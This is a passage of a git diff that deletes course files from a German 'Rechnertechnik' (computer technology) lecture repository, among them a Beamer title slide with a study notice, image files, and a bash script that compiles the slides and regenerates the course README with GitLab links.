redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\setlength{\parskip}{\medskipamount} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{Sommersemester 2021} - -\begin{document} - -\maketitleframe - -\nosectionnonumber{Wichtiger Hinweis} - -\begin{frame}[plain] - - \vfill - - \shownosectionnonumber - - \vspace*{-\medskipamount} - - Diese Vortragsfolien dienen dazu, den Vortrag der/des Lehrenden zu unter-\\stützen. - Sie enthalten \textbf{nur einen Teil} der Lerninhalte. - Wie groß dieser Teil ist, hängt von den konkreten Lerninhalten ab - und kann von "`praktisch alles"' bis "`praktisch gar nichts"' schwanken. - Diese Folien alleine sind daher - \textbf{nicht für ein Selbststudium geeignet!} - Hierfür sei auf das Skript verwiesen, - in dem allerdings keine tagesaktuellen Änderungen enthalten sind. - - Mindestens genauso wichtig wie die Vortragsfolien sind die Beispiel-Programme, - die vor Ihren Augen in den Vorlesungen erarbeitet werden. - Diese sind im Git-Repository - (\url{https://gitlab.cvh-server.de/pgerwinski/rtech.git}) - mit allen Zwischenschritten enthalten und befinden sich - in den zu den jeweiligen Kalenderdaten gehörenden Verzeichnissen - (z.\,B.\ für den 6.\kern0.5pt4.\,2021 unter - \url{https://gitlab.cvh-server.de/pgerwinski/rtech/tree/2021ss/20210406/}\kern1pt). - - Wenn Sie die Übungsaufgaben bearbeiten, nutzen Sie die Gelegenheit, - Ihre Lösungen in den Übungen überprüfen zu lassen. - Wer nach Vergleich mit der Musterlösung zu dem Schluß kommt, - alles richtig gelöst zu haben, erlebt sonst in der Klausur oft eine - unangenehme Überraschung. - - \strut\hfill In jedem Fall: \emph{Viel Erfolg!} - -\end{frame} - -\end{document} diff --git a/script/sfmath.sty b/script/sfmath.sty deleted file mode 120000 index 599e505416fb5a096f751581a66c53bc109e935d..0000000000000000000000000000000000000000 --- a/script/sfmath.sty +++ /dev/null @@ -1 +0,0 @@ -../common/sfmath.sty \ No newline at end of file diff --git a/script/sm-code-screenshot.png b/script/sm-code-screenshot.png deleted file mode 100644 index fc78b838358ccae0d53997bad05ebda574935306..0000000000000000000000000000000000000000 Binary files a/script/sm-code-screenshot.png and /dev/null differ diff --git a/script/speicher-1.jpg b/script/speicher-1.jpg deleted file mode 100644 index 7ece214d877b81550fd041f066cf2664b619abc3..0000000000000000000000000000000000000000 Binary files a/script/speicher-1.jpg and /dev/null differ diff --git a/script/speicher-2.jpg b/script/speicher-2.jpg deleted file mode 100644 index ea709e972e2ba090f68f9086931b86250fe08a1c..0000000000000000000000000000000000000000 Binary files a/script/speicher-2.jpg and /dev/null differ diff --git a/script/tp-netz.jpg b/script/tp-netz.jpg deleted file mode 100644 index 06db706b2fecc417b526d19a7e065e0813cc6906..0000000000000000000000000000000000000000 Binary files a/script/tp-netz.jpg and /dev/null differ diff --git a/script/wlan-access-point.jpg b/script/wlan-access-point.jpg deleted file mode 100644 index 511fd8cbef39a7dc49c4167a3eb231bdb457b551..0000000000000000000000000000000000000000 Binary files a/script/wlan-access-point.jpg and /dev/null differ diff --git a/update b/update deleted file mode 100755 index 6072e86eef391b7bb99fcc839a8daaa207f336ea..0000000000000000000000000000000000000000 --- a/update +++ /dev/null @@ -1,186 +0,0 @@ -#!/bin/bash - -sem=2021ss -course=rtech -date_mask="20[12][0-9][01][0-9][0-3][0-9]" - -time_mask="[0-2][0-9][0-5][0-9][0-5][0-9]" -base_url="https://gitlab.cvh-server.de/pgerwinski/$course/tree/$sem/" -raw_base_url="https://gitlab.cvh-server.de/pgerwinski/$course/raw/$sem/" -pattern="README:" - -if [ "$1" = "--no-slides" ]; then - shift -else - slides_tex_file="$course-slides-$sem.tex" - cat > "$slides_tex_file" << EOF -\documentclass{article} - -\usepackage[final]{pdfpages} -\usepackage[paperwidth=363pt,paperheight=272pt]{geometry} -\usepackage{hyperref} - -\pagestyle{empty} - -\begin{document} - \includepdf[pages=1]{script/$course-slides-title-$sem.pdf} - \pdfbookmark[1]{Wichtiger Hinweis}{Hinweis} - \includepdf[pages=2-]{script/$course-slides-title-$sem.pdf} -EOF - - for x in $date_mask/$course-$date_mask.pdf; do - f=$(echo $x | cut -d '/' -f 1) - y=$(echo $f | cut -b 1-4) - m=$(echo $f | cut -b 5-6) - d=$(echo $f | cut -b 7-8) - date="$d.$m.$y" - src=$(echo $x | sed -e 's/\.pdf$/.tex/') - description=$(grep -m 1 "$pattern" "$src" | sed -e "s/^.*$pattern *//") - echo " \pdfbookmark[1]{$date: $description}{$f}" >> "$slides_tex_file" - echo " \includepdf[pages=-]{$x}" >> "$slides_tex_file" - done - - echo '\end{document}' >> "$slides_tex_file" - - lualatex -interaction batchmode "$slides_tex_file" \ - && echo \ - && lualatex -interaction batchmode "$slides_tex_file" \ - || { - echo - echo "$0: error compiling $slides_tex_file" - exit 1 - } - echo -fi - -# if pdfjam --papersize "{362.835pt,272.126pt}" -o $course-slides-$sem.pdf \ -# $date_mask/$course-$date_mask.pdf > /dev/null 2> pdfjam.err; then -# rm pdfjam.err -# else -# cat pdfjam.err -# rm pdfjam.err -# exit 1 -# fi - -readme_old=README.md -readme=README-NEW.md - -collect () -{ - if [ "$1" = "--with-examples" ]; then - with_examples=true - shift - else - with_examples=false - fi - if [ "$1" = "--no-date" ]; then - show_date=false - shift - else - show_date=true - fi - headline="$1"; shift - source_suffix="$1"; shift - target_suffix="$1"; shift - underline=$(echo "$headline" | sed -e 's/./-/g') - echo >> $readme - echo "$headline" >> $readme - echo "$underline" >> $readme - for f in "$@"; do - if [ -f "$f" ]; then - description=$(grep -m 1 "$pattern" "$f" | sed -e "s/^.*$pattern *//") - if $show_date; then - y=$(echo $f | cut -b 1-4) - m=$(echo $f | cut -b 5-6) - d=$(echo $f | cut -b 7-8) - date="$d.$m.$y: " - else - date="" - fi - url="$raw_base_url"$(echo $f | sed -e "s/\.$source_suffix$/.$target_suffix/") - if $with_examples; then - example_url="$base_url"$(echo $f | sed -e "s,/[^/]*$,/,") - echo " * [$date$description]($url) [**(Beispiele)**]($example_url)" >> $readme - else - echo " * [$date$description]($url)" >> $readme - fi - else - return 1 - fi - done -} - -cat > $readme << EOF -Rechnertechnik -============== - -Lehrveranstaltung im Sommersemester 2021 -Hochschule Bochum, Campus Velbert/Heiligenhaus -Prof. Dr. rer. nat. Peter Gerwinski - -Copyright © 2012–2021 Peter Gerwinski - -**Diese Lehrmaterialien sind freie Software.** -Sie dürfen diese gemäß den jeweils angegebenen Lizenzen -([CC-BY-SA 3.0](https://gitlab.cvh-server.de/pgerwinski/$course/raw/$sem/common/CC-BY-SA-3.0), -[GNU GPL 3+](https://gitlab.cvh-server.de/pgerwinski/$course/raw/$sem/common/GNU-GPL-3), -[modified BSD License](https://gitlab.cvh-server.de/pgerwinski/$course/raw/$sem/common/BSD-MODIFIED)) -studieren, kopieren, modifizieren und/oder weitergeben. -Für Details siehe [common/README](https://gitlab.cvh-server.de/pgerwinski/$course/raw/$sem/common/README). -EOF - -collect --with-examples "Vortragsfolien und Beispiele:" tex pdf $date_mask/$course-$date_mask.tex $date_mask/verschluesselung-$date_mask.tex - -cat >> $readme << EOF - * [alle in 1 Datei](https://gitlab.cvh-server.de/pgerwinski/$course/raw/$sem/$course-slides-$sem.pdf) -EOF - -#collect "Übungsaufgaben:" tex pdf $date_mask/$course-uebung-$date_mask.tex || echo "(keine)" >> $readme -#collect "Musterlösungen:" tex pdf $date_mask/$course-musterloesung-$date_mask.tex || echo "(keine)" >> $readme -#collect "Tafelbilder:" txt jpg $date_mask/photo-$date_mask-$time_mask.txt || echo "(keine)" >> $readme -#collect --no-date "Praktikumsunterlagen:" tex pdf $date_mask/$course-$sem-p[1-4].tex || echo "(keine)" >> $readme -#collect --with-examples --no-date "Alte Klausuren:" tex pdf exams/$date_mask/*-klausur-$date_mask.tex >> $readme - -cat >> $readme << EOF - -Skript: -------- - * [Rechnertechnik](https://gitlab.cvh-server.de/pgerwinski/$course/raw/$sem/script/$course-$sem.pdf) - -Original-Materialien einschließlich Beispiel-Programme und LaTeX-Quelltexte: ----------------------------------------------------------------------------- - * [common – gemeinsame Dateien für Skript und Vortragsfolien](https://gitlab.cvh-server.de/pgerwinski/$course/tree/$sem/common) - * [script – Skript zur Lehrveranstaltung](https://gitlab.cvh-server.de/pgerwinski/$course/tree/$sem/script) - * [2021???? – Vortragsfolien und Beispiele](https://gitlab.cvh-server.de/pgerwinski/$course/tree/$sem) - - -Computer Technology -=================== - -Course in summer semester 2021 -Bochum University of Applied Sciences, Campus Velbert/Heiligenhaus -Prof. Dr. rer. nat. Peter Gerwinski - -Copyright © 2012–2021 Peter Gerwinski - -**These teaching materials are Free Software.** -You may study, copy, modify, and/or distribute them -according to their respective licences -([CC-BY-SA 3.0](https://gitlab.cvh-server.de/pgerwinski/$course/raw/$sem/common/CC-BY-SA-3.0), -[GNU GPL 3+](https://gitlab.cvh-server.de/pgerwinski/$course/raw/$sem/common/GNU-GPL-3), -[modified BSD License](https://gitlab.cvh-server.de/pgerwinski/$course/raw/$sem/common/BSD-MODIFIED)). -See the file [common/README](https://gitlab.cvh-server.de/pgerwinski/$course/raw/$sem/common/README) for details. - - * [common – common files for lecture notes and slides](https://gitlab.cvh-server.de/pgerwinski/$course/tree/$sem/common) - * [script – lecture notes](https://gitlab.cvh-server.de/pgerwinski/$course/tree/$sem/script) - * [2021???? – slides and examples](https://gitlab.cvh-server.de/pgerwinski/$course/tree/$sem) - * [$course-slides-2021ss.pdf – all slides in 1 file](https://gitlab.cvh-server.de/pgerwinski/$course/raw/$sem/$course-slides-$sem.pdf) -EOF - -if diff -wu $readme_old $readme; then - rm $readme -else - echo -n "Press ENTER to overwrite $readme_old, ^C to abort (keeping $readme) " - read junk - mv $readme $readme_old -fi